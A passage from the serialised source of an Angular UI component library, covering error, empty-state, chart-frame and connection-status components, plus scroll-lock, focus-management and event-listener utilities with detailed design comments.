const code = this.normalized()?.status;\n    return this.showStatus() && typeof code === 'number' && code > 0 ? code : null;\n  });\n\n  protected readonly canRetry = computed(() => this.retryable() && isRetryable(this.normalized()));\n\n  /**\n   * Move focus to the retry button.\n   *\n   * Call this after the error appears in response to a keyboard action, so the\n   * user is not left with focus on a control that has been replaced.\n   */\n  focusRetry(): void {\n    this.retryButton()?.nativeElement.focus();\n  }\n}\n","@if (normalized()) {\n  <div\n    role=\"alert\"\n    [class]=\"\n      (compact()\n        ? 'flex w-full items-center gap-3 rounded-lg border border-danger-200 bg-danger-50/60 px-3 py-2 text-left dark:border-danger-900/50 dark:bg-danger-950/30'\n        : 'flex w-full flex-col items-center gap-3 px-6 py-12 text-center') +\n      ' ' + customClass()\n    \"\n  >\n    <span class=\"shrink-0 text-danger-500 dark:text-danger-400\" aria-hidden=\"true\">\n      <ng-content select=\"[svShellIcon]\" />\n    </span>\n\n    <div [class]=\"compact() ? 'min-w-0 flex-1' : 'space-y-1'\">\n      @if (!compact()) {\n        <p class=\"text-sm font-semibold text-gray-900 dark:text-gray-100\">{{ title() }}</p>\n      }\n      <p class=\"text-sm text-gray-600 dark:text-gray-400\">\n        {{ message() }}\n        @if (status(); as code) {\n          <span class=\"ml-1 text-xs text-gray-500 dark:text-gray-400\">({{ code }})</span>\n        }\n      </p>\n    </div>\n\n    @if (canRetry()) {\n      <button\n        #retryButton\n        type=\"button\"\n        (click)=\"retry.emit()\"\n        [class]=\"\n          compact()\n            ? 'shrink-0 rounded-md px-2 py-1 text-xs font-medium text-primary-600 transition-colors hover:bg-primary-50 focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-primary-500 dark:text-primary-400 dark:hover:bg-primary-950/40'\n            : 'mt-1 rounded-lg bg-primary-600 px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-primary-700 focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-primary-500'\n        \"\n      >\n        {{ retryLabel() }}\n      </button>\n    }\n  </div>\n}\n","import { ChangeDetectionStrategy, Component, computed, input, output } from '@angular/core';\nimport type { SvEmptyReason } from '../types';\n\n/**\n * EmptyShell — the zero-row state, with the distinction that matters.\n *\n * \"No orders\" and \"no orders *matching these filters*\" are different facts and\n * need different copy and different actions. Showing the first when the second\n * is true — the default behaviour of every component in the kit before this —\n * tells a customer with four thousand orders that they have none, because they\n * mistyped a search term. It reads as a bug, and it generates support tickets.\n *\n * Set `reason` from whether any filter, search term or facet is active; the\n * component supplies sensible copy and the matching action for each case, and\n * every string is overridable.\n *\n * This is the inline, dependency-free version that data components render\n * internally. `@styloviz/empty-state` remains the right choice for a full-page\n * illustrated treatment with multiple CTAs.\n */\n@Component({\n  selector: 'sv-empty-shell',\n  standalone: true,\n  templateUrl: './empty-shell.component.html',\n  changeDetection: ChangeDetectionStrategy.OnPush,\n  // `reason` is exposed as well as the state: \"no orders\" and \"no orders\n  // matching these filters\" are different facts, and a test that cannot tell\n  // them apart cannot catch the regression that tells a customer with 4,000\n  // orders they have none.\n  host: {\n    'data-sv-state': 'empty',\n    '[attr.data-sv-empty-reason]': 'reason()',\n  },\n})\nexport class SvEmptyShellComponent {\n  /**\n   * Why the collection is empty. Drive this from whether a filter or search is\n   * active — not from the row count.\n   * @default 'no-data'\n   */\n  readonly reason = input<SvEmptyReason>('no-data');\n\n  /** Heading. Falls back to copy chosen from `reason`. @default '' */\n  readonly title = input<string>('');\n\n  /** Supporting line. Falls back to copy chosen from `reason`. @default '' */\n  readonly message = input<string>('');\n\n  /**\n   * Action label. Falls back to `'Clear filters'` for `no-results` and to no\n   * button at all for `no-data` — the kit cannot know what \"create one\" means\n   * in the host's domain, and a button that does nothing useful is worse than\n   * none.\n   * @default ''\n   */\n  readonly actionLabel = input<string>('');\n\n  /**\n   * Render as a single inline row instead of a centred block.\n   * @default false\n   */\n  readonly compact = input<boolean>(false);\n\n  /** Extra classes for the outer wrapper. @default '' */\n  readonly customClass = input<string>('');\n\n  /** The action button was pressed — clear the filters, or start the flow. */\n  readonly action = output<void>();\n\n  protected readonly resolvedTitle = computed(() => {\n    const stated = this.title();\n    if (stated) return stated;\n    switch (this.reason()) {\n      case 'no-results': return 'No matching results';\n      case 'no-access':  return 'You do not have access';\n      case 'error':      return 'Could not load this';\n      default:           return 'Nothing here yet';\n    }\n  });\n\n  protected readonly resolvedMessage = computed(() => {\n    const stated = this.message();\n    if (stated) return stated;\n    switch (this.reason()) {\n      case 'no-results': return 'Try adjusting or clearing your filters.';\n      case 'no-access':  return 'Ask an administrator if you think this is wrong.';\n      case 'error':      return 'Something went wrong while loading. Try again.';\n      default:           return 'Items will appear here once there are some.';\n    }\n  });\n\n  /**\n   * ★★★ ONLY `no-results` GETS A DEFAULT BUTTON, AND THAT IS THE POINT OF\n   *     SEPARATING THE CAUSES. \"Clear filters\" under `no-access` clears\n   *     filters that are not what is hiding the data, and the user tries it\n   *     twice before reading the sentence above it. `no-data` has no default\n   *     because the kit cannot know what \"create one\" means in the host's\n   *     domain, and `error` has none because the retry belongs to whoever owns\n   *     the request — pass `actionLabel` to add one.\n   */\n  protected readonly resolvedAction = computed(\n    () => this.actionLabel() || (this.reason() === 'no-results' ? 'Clear filters' : ''),\n  );\n}\n","<div\n  [class]=\"\n    (compact()\n      ? 'flex w-full items-center gap-3 px-3 py-4 text-left'\n      : 'flex w-full flex-col items-center gap-2 px-6 py-14 text-center') +\n    ' ' + customClass()\n  \"\n>\n  <span class=\"shrink-0 text-gray-300 dark:text-gray-600\" aria-hidden=\"true\">\n    <ng-content select=\"[svShellIcon]\" />\n  </span>\n\n  <div [class]=\"compact() ? 'min-w-0 flex-1' : 'space-y-1'\">\n    <p class=\"text-sm font-semibold text-gray-900 dark:text-gray-100\">{{ resolvedTitle() }}</p>\n    <p class=\"text-sm text-gray-500 dark:text-gray-400\">{{ resolvedMessage() }}</p>\n  </div>\n\n  @if (resolvedAction(); as label) {\n    <button\n      type=\"button\"\n      (click)=\"action.emit()\"\n      [class]=\"\n        (compact() ? 'shrink-0 text-xs' : 'mt-2 text-sm') +\n        ' rounded-md px-2 py-1 font-medium text-primary-600 transition-colors hover:bg-primary-50 focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-primary-500 dark:text-primary-400 dark:hover:bg-primary-950/40'\n      \"\n    >\n      {{ label }}\n    </button>\n  }\n\n  <ng-content />\n</div>\n","import { ChangeDetectionStrategy, Component, computed, input, output } from '@angular/core';\nimport { SvEmptyShellComponent } from './empty-shell.component';\nimport { SvErrorShellComponent } from './error-shell.component';\nimport { SvSkeletonShellComponent } from './skeleton-shell.component';\nimport type { SvDataError } from '../types';\n\n/**\n * ChartFrame — the async states for a chart, by composition.\n *\n * Every chart in the kit renders its plot inside this. It exists because the\n * alternative was adding the same skeleton / error / empty markup to sixty\n * chart components by hand, and because a dashboard whose charts cannot show a\n * spinner or a failed request is the most visible way a kit reads as demo-ware.\n *\n * It reserves `height` in every state, so the page does not jump as a chart\n * moves from skeleton to plot to error — the single most common complaint about\n * async dashboards.\n *\n * ```html\n * <sv-chart-frame\n *   [loading]=\"loading()\"\n *   [error]=\"error()\"\n *   [isEmpty]=\"!datasets().length\"\n *   [height]=\"height()\"\n *   (retry)=\"retry.emit()\"\n * >\n *   <svg>…</svg>\n * </sv-chart-frame>\n * ```\n */\n@Component({\n  selector: 'sv-chart-frame',\n  standalone: true,\n  imports: [SvSkeletonShellComponent, SvErrorShellComponent, SvEmptyShellComponent],\n  templateUrl: './chart-frame.component.html',\n  changeDetection: ChangeDetectionStrategy.OnPush,\n})\nexport class SvChartFrameComponent {\n  /** True while the series are being fetched. @default false */\n  readonly loading = input<boolean>(false);\n\n  /**\n   * Load failure. A bare string is accepted; use `toSvDataError()` to normalize\n   * an `HttpErrorResponse` and get sensible retry behaviour.\n   * @default null\n   */\n  readonly error = input<SvDataError | string | null>(null);\n\n  /**\n   * Whether there is nothing to plot. Charts decide this themselves — an empty\n   * `datasets`, all-zero series, a filtered-out range — so it is an input\n   * rather than something guessed here.\n   * @default false\n   */\n  readonly isEmpty = input<boolean>(false);\n\n  /**\n   * Plot height in pixels, reserved in every state so the page does not jump\n   * between skeleton, plot and error.\n   * @default 240\n   */\n  readonly height = input<number>(240);\n\n  /** Copy for the empty state. @default 'No data to plot' */\n  readonly emptyMessage = input<string>('No data to plot');\n\n  /** Heading for the error state. @default 'Could not load this chart' */\n  readonly errorTitle = input<string>('Could not load this chart');\n\n  /**\n   * Distinguishes \"no data at all\" from \"nothing matched the current filters\",\n   * which need different copy and different recovery.\n   * @default false\n   */\n  readonly filtered = input<boolean>(false);\n\n  /**\n   * A disclosure to render beside the plot — what the chart altered or left out\n   * of the data it was given, in words the person reading the dashboard sees.\n   *\n   * This exists because `console.warn` was the kit's answer to an unplottable\n   * datum, and a warning in devtools is not a disclosure: the chart still showed\n   * a clean plot of a dataset it had quietly changed. `svApplyValuePolicy()`\n   * produces the text; every chart that plots a share of a total binds it here.\n   *\n   * @default null\n   */\n  readonly notice = input<string | null>(null);\n\n  /** The host should re-run the failed load. */\n  readonly retry = output<void>();\n\n  /** Height as a CSS length, clamped so a bad input cannot collapse the frame. */\n  protected readonly heightPx = computed(() => {\n    const h = this.height();\n    return `${Number.isFinite(h) && h > 0 ? h : 240}px`;\n  });\n}\n","@if (loading()) {\n  <div [style.height]=\"heightPx()\" class=\"flex items-center\" data-sv-state=\"loading\">\n    <sv-skeleton-shell variant=\"chart\" [chartHeight]=\"heightPx()\" ariaLabel=\"Loading chart\" />\n  </div>\n} @else if (error()) {\n  <div [style.min-height]=\"heightPx()\" class=\"flex items-center justify-center\" data-sv-state=\"error\">\n    <sv-error-shell [error]=\"error()\" [title]=\"errorTitle()\" (retry)=\"retry.emit()\" />\n  </div>\n} @else if (isEmpty()) {\n  <div [style.min-height]=\"heightPx()\" class=\"flex items-center justify-center\" data-sv-state=\"empty\">\n    <sv-empty-shell\n      [reason]=\"filtered() ? 'no-results' : 'no-data'\"\n      [title]=\"emptyMessage()\"\n      [message]=\"filtered() ? 'Try widening the range or clearing a filter.' : ''\"\n    />\n  </div>\n} @else {\n  <ng-content />\n}\n\n<!-- Renders under the plot AND under the empty state: \"every value was\n     unplottable, so all of them were omitted\" is empty, and the notice is the\n     only thing on screen that says why. Not under `error`, where the error\n     state already carries the reason, and not under `loading`, where nothing\n     has been measured yet. -->\n@if (notice() && !loading() && !error()) {\n  <!-- No icon, for the same reason `sv-error-shell` above renders without one:\n       `@styloviz/core` ships no SVG, so a glyph here would be either the kit's\n       only inline path or a projection slot fifteen chart templates have to fill.\n       The `warning` family carries the tone instead — the semantic token, not the\n       literal `amber` ramp, so a buyer who rebrands warning moves this text and\n       the mark in the plot together. -->\n  <p\n    data-sv-notice\n    class=\"mt-2 text-xs leading-relaxed text-warning-700 dark:text-warning-400\"\n  >{{ notice() }}</p>\n}\n","import { ChangeDetectionStrategy, Component, computed, input, output } from '@angular/core';\nimport type { SvConnectionState } from '../types';\n\n/**\n * ConnectionStatus — says out loud whether a live feed is still live.\n *\n * A streamed list that stops growing looks identical whether the agent is\n * thinking, has finished, or the socket died four minutes ago. Users resolve\n * that ambiguity by reloading the page, which on a stream means losing\n * everything that already arrived. This badge removes the guess.\n *\n * It renders nothing at all for `idle` and `connecting` — a badge that flashes\n * on every page load is noise, and the skeleton already covers the first fetch.\n * `open` gets a quiet dot. `reconnecting` and `closed` are the states worth\n * interrupting for, so they are announced politely and, for `reconnecting`,\n * carry the retry the host may want to expose.\n */\n@Component({\n  selector: 'sv-connection-status',\n  standalone: true,\n  templateUrl: './connection-status.component.html',\n  changeDetection: ChangeDetectionStrategy.OnPush,\n})\nexport class SvConnectionStatusComponent {\n  /** The host's feed state. @default 'idle' */\n  readonly state = input<SvConnectionState>('idle');\n\n  /** Overrides the label for the current state. @default '' */\n  readonly label = input<string>('');\n\n  /**\n   * Offer a reconnect button while `reconnecting` or `closed`. Off by default:\n   * most hosts retry automatically and a second manual trigger opens a second\n   * socket.\n   * @default false\n   */\n  readonly reconnectable = input<boolean>(false);\n\n  /** Extra classes for the wrapper. @default '' */\n  readonly customClass = input<string>('');\n\n  /** The user asked to re-open the feed. */\n  readonly reconnect = output<void>();\n\n  /** `idle` and `connecting` render nothing — see the class comment. */\n  protected readonly visible = computed(\n    () => this.state() === 'open' || this.state() === 'reconnecting' || this.state() === 'closed',\n  );\n\n  /** Only a degraded feed is worth announcing; a healthy one is just a dot. */\n  protected readonly announce = computed(() => this.state() !== 'open');\n\n  protected readonly resolvedLabel = computed(() => {\n    if (this.label()) return this.label();\n    switch (this.state()) {\n      case 'open':         return 'Live';\n      case 'reconnecting': return 'Reconnecting…';\n      case 'closed':       return 'Disconnected';\n      default:             return '';\n    }\n  });\n\n  protected readonly dotClass = computed(() => {\n    switch (this.state()) {\n      case 'open':         return 'bg-accent-500';\n      case 'reconnecting': return 'bg-warning-500 animate-pulse';\n      case 'closed':       return 'bg-gray-400 dark:bg-gray-500';\n      default:             return 'bg-transparent';\n    }\n  });\n\n  protected readonly wrapperClass = computed(() => {\n    switch (this.state()) {\n      case 'open':\n        return 'bg-accent-50 text-accent-700 dark:bg-accent-900/30 dark:text-accent-300';\n      case 'reconnecting':\n        return 'bg-warning-50 text-warning-700 dark:bg-warning-900/30 dark:text-warning-300';\n      case 'closed':\n        return 'bg-gray-100 text-gray-600 dark:bg-gray-800 dark:text-gray-400';\n      default:\n        return '';\n    }\n  });\n}\n","@if (visible()) {\n  <span\n    class=\"inline-flex items-center gap-1.5 rounded-full px-2 py-0.5 text-[10px] font-semibold\"\n    [class]=\"wrapperClass() + ' ' + customClass()\"\n    [attr.role]=\"announce() ? 'status' : null\"\n    [attr.aria-live]=\"announce() ? 'polite' : null\"\n    data-sv-connection\n    [attr.data-sv-connection-state]=\"state()\"\n  >\n    <span class=\"h-1.5 w-1.5 shrink-0 rounded-full\" [class]=\"dotClass()\" aria-hidden=\"true\"></span>\n    {{ resolvedLabel() }}\n    @if (reconnectable() && state() !== 'open') {\n      <button\n        type=\"button\"\n        (click)=\"reconnect.emit()\"\n        class=\"ml-0.5 rounded underline underline-offset-2 focus:outline-none\n               focus-visible:ring-2 focus-visible:ring-current\"\n        data-sv-reconnect\n      >\n        Reconnect\n      </button>\n    }\n  </span>\n}\n","/**\n * anchor-scroll-guard — tell a scroll EVENT apart from the anchor having MOVED.\n *\n * Portalled panels pin themselves to a trigger with fixed coordinates read from\n * `getBoundingClientRect()`, so they listen for scroll and close. But the\n * browser also emits scroll when the document grows, when a focused input is\n * revealed, and when a panel's own insertion lengthens the page — `sv-mention`\n * shipped a bug where it closed the panel it had just opened, for that last\n * reason. Closing on the event is wrong twice: it fires when nothing moved, and\n * users read it as the panel vanishing for free.\n *\n * This records where the anchor sat at open and only acts once it really moved.\n * rAF throttling, ignoring scrolls from inside the panel, and an optional grace\n * window after opening are folded in so callers do not re-derive them.\n *\n * Nothing touches the DOM at construction, so it is safe in a field initialiser\n * under SSR. See [[portal-insertion-order]] for the full history.\n */\n\n/** Viewport position of the anchor. Only the origin matters for pinning. */\ninterface AnchorPosition {\n  readonly top: number;\n  readonly left: number;\n}\n\nexport interface SvAnchorScrollGuardOptions {\n  /** Element the panel is pinned to. Read lazily, so a late `viewChild` works. */\n  readonly anchor: () => Element | null | undefined;\n\n  /** Whether the panel is open. Checked before any DOM work. */\n  readonly isOpen: () => boolean;\n\n  /** Run when the anchor has genuinely moved — typically `close()`. */\n  readonly onMoved: () => void;\n\n  /** Portal host — scrolling inside the panel is not the anchor moving. */\n  readonly portal?: () => Element | null | undefined;\n\n  /**\n   * Movement below this many px is no movement — sub-pixel jitter from zoom and\n   * fractional layout is not a scroll. @default 1\n   */\n  readonly threshold?: number;\n\n  /**\n   * Ignore scrolls within this many ms of `capture()`. Opening often focuses\n   * something inside the panel, and a short viewport scrolls to reveal it — a\n   * real move the user never asked for. @default 0 (disabled)\n   */\n  readonly graceMs?: number;\n}\n\nexport interface SvAnchorScrollGuard {\n  /** Pass straight to `addEventListener('scroll', …, { capture: true })`. */\n  readonly handler: (event: Event) => void;\n  /** Call immediately after the panel is inserted and positioned. */\n  capture(): void;\n  /** Cancel any pending frame. Call from `ngOnDestroy`. */\n  destroy(): void;\n}\n\n/** `performance.now()` where available, so the grace survives a clock change. */\nfunction now(): number {\n  return typeof performance !== 'undefined' && typeof performance.now === 'function'\n    ? performance.now()\n    : Date.now();\n}\n\n/**\n * `event.target` is not always a Node — a scroll dispatched on `window` makes it\n * a Window, and handing that to `Node.contains()` throws. A regression test here\n * once passed against unfixed code because that throw skipped the branch under\n * test, so duck-type rather than trusting the cast.\n */\nfunction isNode(value: unknown): value is Node {\n  return !!value && typeof (value as Node).nodeType === 'number';\n}\n\nexport function createAnchorScrollGuard(\n  options: SvAnchorScrollGuardOptions,\n): SvAnchorScrollGuard {\n  const threshold = options.threshold ?? 1;\n  const graceMs = options.graceMs ?? 0;\n\n  let anchorAt: AnchorPosition | null = null;\n  let capturedAt = 0;\n  let rafId: number | null = null;\n\n  const read = (): AnchorPosition | null => {\n    const el = options.anchor();\n    if (!el || typeof el.getBoundingClientRect !== 'function') return null;\n    const rect = el.getBoundingClientRect();\n    return { top: rect.top, left: rect.left };\n  };\n\n  const handler = (event: Event): void => {\n    if (!options.isOpen()) return;\n\n    const target = event.target;\n    const portal = options.portal?.();\n    if (portal && isNode(target) && portal.contains(target)) return;\n\n    if (graceMs > 0 && now() - capturedAt < graceMs) return;\n    if (rafId !== null) return;\n\n    rafId = requestAnimationFrame(() => {\n      rafId = null;\n      if (!options.isOpen()) return;\n\n      const current = read();\n      // Cannot prove it moved. Staying open is the safer failure: a lingering\n      // panel is recoverable, one that vanishes mid-interaction is not.\n      if (!current || !anchorAt) return;\n      if (\n        Math.abs(current.top - anchorAt.top) < threshold &&\n        Math.abs(current.left - anchorAt.left) < threshold\n      ) {\n        return;\n      }\n\n      options.onMoved();\n    });\n  };\n\n  return {\n    handler,\n    capture(): void {\n      anchorAt = read();\n      capturedAt = now();\n    },\n    destroy(): void {\n      if (rafId !== null) {\n        cancelAnimationFrame(rafId);\n        rafId = null;\n      }\n    },\n  };\n}\n","import { DOCUMENT, isPlatformBrowser } from '@angular/common';\nimport { DestroyRef, PLATFORM_ID, effect, inject, untracked } from '@angular/core';\n\n/** Where the listeners go. */\nexport type SvListenTarget = 'document' | 'window';\n\n/** Returned by {@link svListenWhile}. */\nexport interface SvListenWhileRef {\n  /**\n   * Re-read `active()` NOW and attach or detach accordingly. Call it from the\n   * handler that starts the drag, right after setting the state: the effect\n   * that does this automatically only runs on the next change-detection pass,\n   * and a pointer can move before then.\n   */\n  sync(): void;\n}\n\n/**\n * Attach global listeners ONLY while `active()` is true.\n *\n * ★★ WHY (1.0 release audit, M2). Eight components declared\n *    `@HostListener('document:pointermove')` (or `mousemove` / `touchmove`) for\n *    a drag that is idle 99.9 % of the time. Angular wraps every host listener:\n *    each event marks the view dirty and, in a zoneless app, schedules a change\n *    detection pass — so moving the mouse anywhere on a dashboard with a line\n *    chart and a data table ran change detection continuously, even though every\n *    handler returned on its first line. This keeps the listener for exactly the\n *    span of the drag.\n *\n * ★ Moves only — keep the matching `pointerup` / `mouseup` as a host listener:\n *   it fires once per click, costs nothing between clicks, and is what clears\n *   the state. Call the returned `sync()` from the drag-START handler so the\n *   very first move is caught; an effect also follows `active()` on its own.\n *\n * Handlers are expected to write SIGNALS, which schedule their own render — the\n * listener is a plain DOM listener, not an Angular template listener.\n *\n * Call in an injection context (a constructor or field initializer). A no-op on\n * the server.\n *\n * @example\n * private readonly moves = svListenWhile(() => this.resizing() !== null, 'document', {\n *   pointermove: (e) => this.onResizeMove(e as PointerEvent),\n * });\n * onResizeStart(): void { this.resizing.set(…); this.moves.sync(); }\n */\nexport function svListenWhile(\n  active: () => boolean,\n  target: SvListenTarget,\n  handlers: Readonly<Record<string, (event: Event) => void>>,\n): SvListenWhileRef {\n  if (!isPlatformBrowser(inject(PLATFORM_ID))) return { sync: () => undefined };\n  const doc = inject(DOCUMENT);\n  let detach: (() => void) | null = null;\n\n  const attach = (): (() => void) | null => {\n    const el: EventTarget | null = target === 'window' ? doc.defaultView : doc;\n    if (!el) return null;\n    const bound = Object.entries(handlers).map(([type, handler]) => {\n      // `untracked`: a signal the handler reads must not become a dependency of\n      // whatever reactive context happens to be running when the event fires.\n      const fn = (event: Event): void => untracked(() => handler(event));\n      el.addEventListener(type, fn, { passive: type !== 'touchmove' });\n      return [type, fn] as const;\n    });\n    return () => {\n      for (const [type, fn] of bound) el.removeEventListener(type, fn);\n    };\n  };\n\n  const sync = (): void => {\n    const on = untracked(active);\n    if (on && !detach) detach = attach();\n    else if (!on && detach) {\n      detach();\n      detach = null;\n    }\n  };\n\n  // Follows `active()` on its own — an `up` handler that clears the drag state\n  // detaches on the next pass even if nobody calls `sync()`.\n  effect(() => {\n    active();\n    untracked(sync);\n  });\n  inject(DestroyRef).onDestroy(() => {\n    detach?.();\n    detach = null;\n  });\n  return { sync };\n}\n","/**\n * Body scroll lock, shared by every surface on the page that takes one.\n *\n * ★★★ IT IS REFERENCE-COUNTED, AND THAT IS THE WHOLE POINT.\n *\n * Each surface locking and unlocking on its own is correct right up to the\n * moment two are open — which the imperative `SvModalService` makes ordinary: a\n * dialog opens a confirm on top of itself. Close the top one and a per-instance\n * `unlockScroll()` clears `body.overflow`, so the page starts scrolling\n * underneath a dialog that is still open. Nothing errors; the background just\n * begins moving behind a modal overlay, which reads as a rendering glitch and\n * is nearly impossible to attribute to the dialog that closed.\n *\n * ★★ THIS LIVED IN `@styloviz/modal` AND THREE OTHER FAMILIES HAD THEIR OWN,\n *    UNCOUNTED COPY. Drawer, Confirm Dialog and Command Palette each wrote the\n *    four lines above with no depth and no saved previous value, so every\n *    combination of them hit the bug this file's first paragraph describes —\n *    and `X-5` is the backlog item for exactly that. Moved into core so there\n *    is one; `@styloviz/modal` still re-exports it, so its consumers are\n *    unaffected.\n *\n * The count also fixes the subtler half: `paddingRight` compensates for the\n * scrollbar that hiding the overflow removes. Measured a second time while the\n * lock is already on, the scrollbar is already gone, so the measurement comes\n * back 0 and the compensation is lost — the page shifts sideways under the\n * second dialog. The width measured by the FIRST lock is the only correct one,\n * so it is the one kept until the last unlock.\n */\n\ninterface LockState {\n  /** How many modals currently want the page not to scroll. */\n  depth: number;\n  /** What `body.style.overflow` was before the first lock. */\n  overflow: string;\n  /** What `body.style.paddingRight` was before the first lock. */\n  paddingRight: string;\n}\n\nconst state: LockState = { depth: 0, overflow: '', paddingRight: '' };\n\n/**\n * Take a lock. Returns the new depth, which is what the tests assert on.\n *\n * The first caller measures and applies; later callers only increment.\n */\nexport function svLockBodyScroll(doc: Document): number {\n  if (state.depth === 0) {\n    const body = doc.body;\n    // ★ The PREVIOUS values are saved, not assumed to be empty. A host with its\n    // own `overflow: hidden` on `<body>` — a full-height app shell, which is\n    // most dashboards — would otherwise have it wiped by the first modal that\n    // closed, and the page would start scrolling for the rest of the session.\n    state.overflow = body.style.overflow;\n    state.paddingRight = body.style.paddingRight;\n\n    const scrollbar = doc.defaultView\n      ? doc.defaultView.innerWidth - doc.documentElement.clientWidth\n      : 0;\n    body.style.overflow = 'hidden';\n    if (scrollbar > 0) body.style.paddingRight = `${scrollbar}px`;\n  }\n  return ++state.depth;\n}\n\n/**\n * Release a lock. Only the last one out restores the page.\n *\n * Releasing more times than you locked cannot drive the depth negative — a\n * modal destroyed while open unlocks from `ngOnDestroy`, and a double release\n * would otherwise leave the count at -1 and the NEXT lock would never apply\n * anything.\n */\nexport function svUnlockBodyScroll(doc: Document): number {\n  if (state.depth === 0) return 0;\n  state.depth--;\n  if (state.depth === 0) {\n    doc.body.style.overflow = state.overflow;\n    doc.body.style.paddingRight = state.paddingRight;\n  }\n  return state.depth;\n}\n\n/** Current depth. Exported for tests and for diagnosing a stuck page. */\nexport function svBodyScrollLockDepth(): number {\n  return state.depth;\n}\n\n/**\n * Drop every lock and restore the page.\n *\n * For `closeAll()` and for test teardown: a spec that leaves the depth above\n * zero poisons every spec after it in the same document, and the failure lands\n * somewhere unrelated.\n */\nexport function svResetBodyScrollLock(doc: Document): void {\n  if (state.depth > 0) {\n    doc.body.style.overflow = state.overflow;\n    doc.body.style.paddingRight = state.paddingRight;\n  }\n  state.depth = 0;\n  state.overflow = '';\n  state.paddingRight = '';\n}\n","/**\n * What counts as focusable, in one place.\n *\n * ★★ THE KIT HAD TEN COPIES OF THIS SELECTOR AND THEY DID NOT AGREE. Some\n *    excluded disabled controls, some did not; some counted `[role=\"button\"]`,\n *    some counted `[contenteditable]`, most counted neither. A focus trap built\n *    on a selector that matches a DISABLED input will happily nominate that\n *    input as its \"first focusable\" — and `focus()` on a disabled control is a\n *    no-op, so Tab wraps into nothing and the trap leaks. The disagreements are\n *    not cosmetic; they are the difference between a working trap and a silent\n *    one.\n */\nexport const SV_FOCUSABLE_SELECTOR = [\n  'a[href]',\n  'area[href]',\n  'button:not([disabled])',\n  'input:not([disabled]):not([type=\"hidden\"])',\n  'select:not([disabled])',\n  'textarea:not([disabled])',\n  'summary',\n  'audio[controls]',\n  'video[controls]',\n  'iframe',\n  '[contenteditable]:not([contenteditable=\"false\"])',\n  '[tabindex]:not([tabindex=\"-1\"])',\n].join(',');\n\n/**\n * Is this element one the browser would actually put focus on?\n *\n * ★ Deliberately NOT a layout test. The obvious extra check — does it render,\n *   via `getClientRects()` or `offsetParent` — is worse than useless here: it\n *   is wrong under `content-visibility`, wrong for an element inside a\n *   collapsing transition, and in jsdom it reports EVERY element as invisible,\n *   which would make every one of these helpers return nothing under test\n *   while behaving correctly in a browser. A guard that only works where it is\n *   never exercised is not a guard. So this checks the things that are true of\n *   the DOM itself — detached, `hidden`, `inert`, `disabled` — and leaves\n *   visibility to the caller, which usually knows.\n */\nexport function svIsFocusable(el: Element | null | undefined): el is HTMLElement {\n  // `typeof` guard: with no DOM (SSR) `HTMLElement` is undefined and a bare\n  // `instanceof` would throw a ReferenceError rather than answer false.\n  if (!el || typeof HTMLElement === 'undefined' || !(el instanceof HTMLElement)) return false;\n  if (!el.isConnected) return false;\n  if (el.hasAttribute('disabled')) return false;\n  if (el.hidden) return false;\n  // ★ `closest`, not a check on the element itself: both of these are\n  //   INHERITED. A button three levels inside an `inert` or `aria-hidden`\n  //   subtree carries neither attribute and is still unreachable.\n  if (el.closest('[inert], [aria-hidden=\"true\"]')) return false;\n  return el.matches(SV_FOCUSABLE_SELECTOR) || el.tabIndex >= 0;\n}\n\n/**\n * Every focusable element inside `root`, in tab order, `root` itself excluded.\n *\n * Elements inside an `inert` or `aria-hidden` subtree are dropped — a focus\n * trap that hands back a node no browser will focus is how a trap starts\n * failing silently.\n */\nexport function svFocusableWithin(root: Element | null | undefined): HTMLElement[] {\n  if (!root) return [];\n  return [...root.querySelectorAll<HTMLElement>(SV_FOCUSABLE_SELECTOR)].filter(svIsFocusable);\n}\n\n/** The first focusable element inside `root`, or `null`. */\nexport function svFirstFocusableWithin(root: Element | null | undefined): HTMLElement | null {\n  return svFocusableWithin(root)[0] ?? null;\n}\n","import { svFirstFocusableWithin } from './focusable';\n\n/**\n * What `restore()` actually did. Returned rather than logged, because these are\n * the cases a test has to be able to tell apart — \"focus went somewhere\" is the\n * assertion that lets all three of X-6's defects through.\n */\nexport type SvFocusRestoreOutcome =\n  /** The element that opened the overlay is still there and took focus back. */\n  | 'opener'\n  /** The opener is gone; focus landed in the nearest part of the page that survived it. */\n  | 'neighbour'\n  /** The opener's whole scope is gone; focus landed in the surface underneath. */\n  | 'below'\n  /** The page itself changed; focus landed on its main landmark. */\n  | 'fallback'\n  /** The user had already moved on. Nothing was touched — this is a success. */\n  | 'moved'\n  /** Nothing focusable survived. The caller should say so in dev mode. */\n  | 'none';\n\nexport interface SvFocusScopeOptions {\n  /**\n   * The overlay's own root. Focus inside it still belongs to the overlay, so\n   * restoring is correct; focus anywhere else means the user has already moved\n   * and restoring would YANK THEM BACK.\n   *\n   * A getter, not an element: the panel is usually portalled a tick after the\n   * scope is created.\n   */\n  readonly within?: () => Element | null | undefined;\n  /** The surface this overlay was opened from, when it was opened from one. */\n  readonly below?: () => Element | null | undefined;\n  /**\n   * The element to treat as the opener, when the surface knows it outright.\n   *\n   * ★ For a menu or a popover the trigger IS the opener, and it is a better\n   *   answer than `document.activeElement` — Safari does not focus a button on\n   *   click, so the capture would be `<body>` on one engine and the trigger on\n   *   the other two, and the family would restore correctly only where the\n   *   browser happened to cooperate.\n   */\n  readonly opener?: () => Element | null | undefined;\n  /** Last resort when the page itself has changed. Defaults to the main landmark. */\n  readonly fallback?: () => Element | null | undefined;\n  /**\n   * A region that is being emptied, and is therefore not somewhere to land.\n   *\n   * ★★ THE IN-PLACE CASE NEEDS THIS AND THE PORTALLED ONE DOES NOT. An overlay\n   *    tears down its whole panel, so the ancestor walk starts outside it\n   *    naturally. A banner that dismisses itself does not: its HOST ELEMENT\n   *    survives — only the content inside it is removed — so the nearest\n   *    \"surviving ancestor\" of the close button is an empty, invisible wrapper.\n   *    Focusing that is barely better than `<body>`: nothing is announced and\n   *    there is nothing there to read. Naming the region excludes it and its\n   *    descendants from the walk, so focus continues outward to the part of\n   *    the page that still has content.\n   */\n  readonly skip?: () => Element | null | undefined;\n  /** Injectable for SSR and tests. */\n  readonly document?: Document;\n}\n\nexport interface SvFocusScope {\n  /** Call as the overlay opens, BEFORE it moves focus into itself. */\n  capture(): void;\n  /** Call as the overlay closes. Safe to call twice; the second is a no-op. */\n  restore(): SvFocusRestoreOutcome;\n  /** The element captured at open time, if it is still in the document. */\n  readonly opener: HTMLElement | null;\n}\n\n/**\n * ★★★ RESTORING 